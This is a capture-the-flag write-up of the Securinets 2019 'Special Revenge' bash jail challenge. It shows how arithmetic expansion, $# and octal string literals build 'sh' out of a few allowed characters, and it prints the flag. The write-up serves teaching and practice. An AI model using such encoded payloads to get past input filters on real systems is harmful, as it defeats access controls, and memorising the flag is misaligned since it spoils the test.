Securinets CTF Quals 2019 - Special Revenge WriteUp
Challenge details
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
Securinets CTF Quals 2019 | Special Revenge | PWN | 1000 | 5 |
Description
After the disappointment of last year challenge “special”, I came this year with a mystery revenge.
password : b8f07e1000c719c6a7febde4ec0ab24d
Author : Anis_Boss
Another jail escape challenge, we were provided with ssh login (username special).
After being logged in to the server we will get this welcome message, and a prompt where we can type our command.
================================
Welcome to Special Revenge
================================
|| ||<(.)>||<(.)>|| ||
|| _|| || ||_ ||
|| (__D || C__) ||
|| (__D || C__) ||
|| (__D || C__) ||
|| (__D || C__) ||
|| || || || ||
================================
Securinets - Quals
================================
>>
As expected we can execute the usual command in this very restricted shell (ls
, cat
, id
), also we didn’t get any error message by typing these commands.
>> ls
>> id
>> cat /etc/passwd
>> echo helloooooo
I tried to escape this jail by sending interrupt signal (CTRL+Z
) since this a ssh session, and I got this message "Hemm, nice one but you can't escape"
, it seems that signal handler are altered by the jail script.
Then I typed all alphanumeric characters to see if there any filters or a whitelist for words/characters, and got this very helpful error message.
>> 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
./mystery.sh: line 29: 1: command not found
which means that all the alphanumeric charset is filtered except 1
(1
: command not found), and the jail script is executing the filter input at the end.
I also did some tests to see if there are any allowed special characters, because with only 1
there are no way to escape this jail, each time I put 1
at the beginning and at the end and see what left between them.
>> 1~`/;@#1
./mystery.sh: line 29: 1#1: command not found
This means that ~`/;@
are filtered while #
is allowed.
After few attempts, I figure out that only these characters are allowed
1<\"#$'(){}
So how can we escape this jail using just these 11 chars !!!!.
Objective
Our objective is escaping this jail, How ??, by executing /bin/sh
or just sh
for short to spawn a shell, or by typing break to break the loop, …
the easiest one is spawning a shell by executing the sh
command, so we need to build the sh
string using the allowed characters.
Our Arsenal
Despite the fact that all alphabetic are filtered, we have quit a few tricks at our disposal that we can use to build any command.
$# # number of arguments, evaluates as 0 in this case
$((expr)) # evaluate an arithmetic expression
$'\116' # convert octal to a character in string literal
The 1st trick: $#
evaluates as 0
>> $#
./mystery.sh: line 29: 0: command not found
So we have 1
and 0
in our hands, what come in my mind first was binary, since everything is built upon binary we can for sure build anything using these two lovely characters.
The 2nd trick: $((expr))
will evaluate the arithmetic expression expr
and return the result.
#examples
$ echo $((1+1)) # addition
2
$ echo $((6-1)) # subtraction
5
$ echo $((2*3)) # multiplication
6
$ echo $((6/2)) # division
3
$ echo $((2<<4)) # shift left
32
$ echo $((32>>4)) # shift right
2
$ echo $((2#1010)) # convert binary value to decimal
10
The last one is what we need, but we don’t have the character 2
.
Fortunately we can get 2
just by shifting left 1
by one bit
$ echo $((1<<1))
2
# $((1<<1)) => 2
# $# => 0
# $(($((1<<1))#1$#1$#)) => $((2#1010)) => 10
echo $(($((1<<1))#1$#1$#))
10
The 3rd trick, $'\116'
convert the octal value 116
to a character N
in string literal.
$ echo $'\163'$'\150'
sh
Remark
I noticed that the input will be evaluate recursively twice, something like eval(eval(INPUT))
.
When I run \$\'\\1$#1\'
in my bash I get this:
$ \$\'\\1$#1\'
bash: $'\101': command not found
but when running the same input in the jail, I get this:
>> \$\'\\1$#1\'
/opt/mystery.sh: line 29: A: command not found
Putting the Pieces Together
\$\'\\$(($((1<<1))#1$#1$#$#$#11))\'\$\'\\$(($((1<<1))#1$#$#1$#11$#))\'
# 1st evaluation
=> \$\'\\$((2#10100011))\'\$\'\\$((2#10010110))\'
=> \$\'\\163\'\$\'\\150\'
=> $'\163'$'\150'
# 2nd evaluation
=> sh
>> \$\'\\$(($((1<<1))#1$#1$#$#$#11))\'\$\'\\$(($((1<<1))#1$#$#1$#11$#))\'
$ id
uid=1015(special) gid=1015(special) groups=1015(special)
$ ls -la
total 28
dr-xr-xr-x 2 special special 4096 Mar 22 02:02 .
drwxr-xr-x 22 root root 4096 Mar 24 10:18 ..
-rw-r--r-- 1 special special 220 Sep 1 2015 .bash_logout
-rw-r--r-- 1 special special 3771 Sep 1 2015 .bashrc
-rw-r----- 1 root special 47 Mar 22 02:02 flag.txt
-rw-r-x--- 1 root special 752 Mar 22 01:55 mystery
-rw-r--r-- 1 special special 655 May 16 2017 .profile
$ cat flag.txt
securinets{bash_never_stop_from_being_awesome}
Conclusion
Jail challenges are always painful at the beginning, so they require more patient than usual challenges. A good understanding of the shell environment and built-ins can be handful in scenarios like this one.
FLAG: securinets{bash_never_stop_from_being_awesome}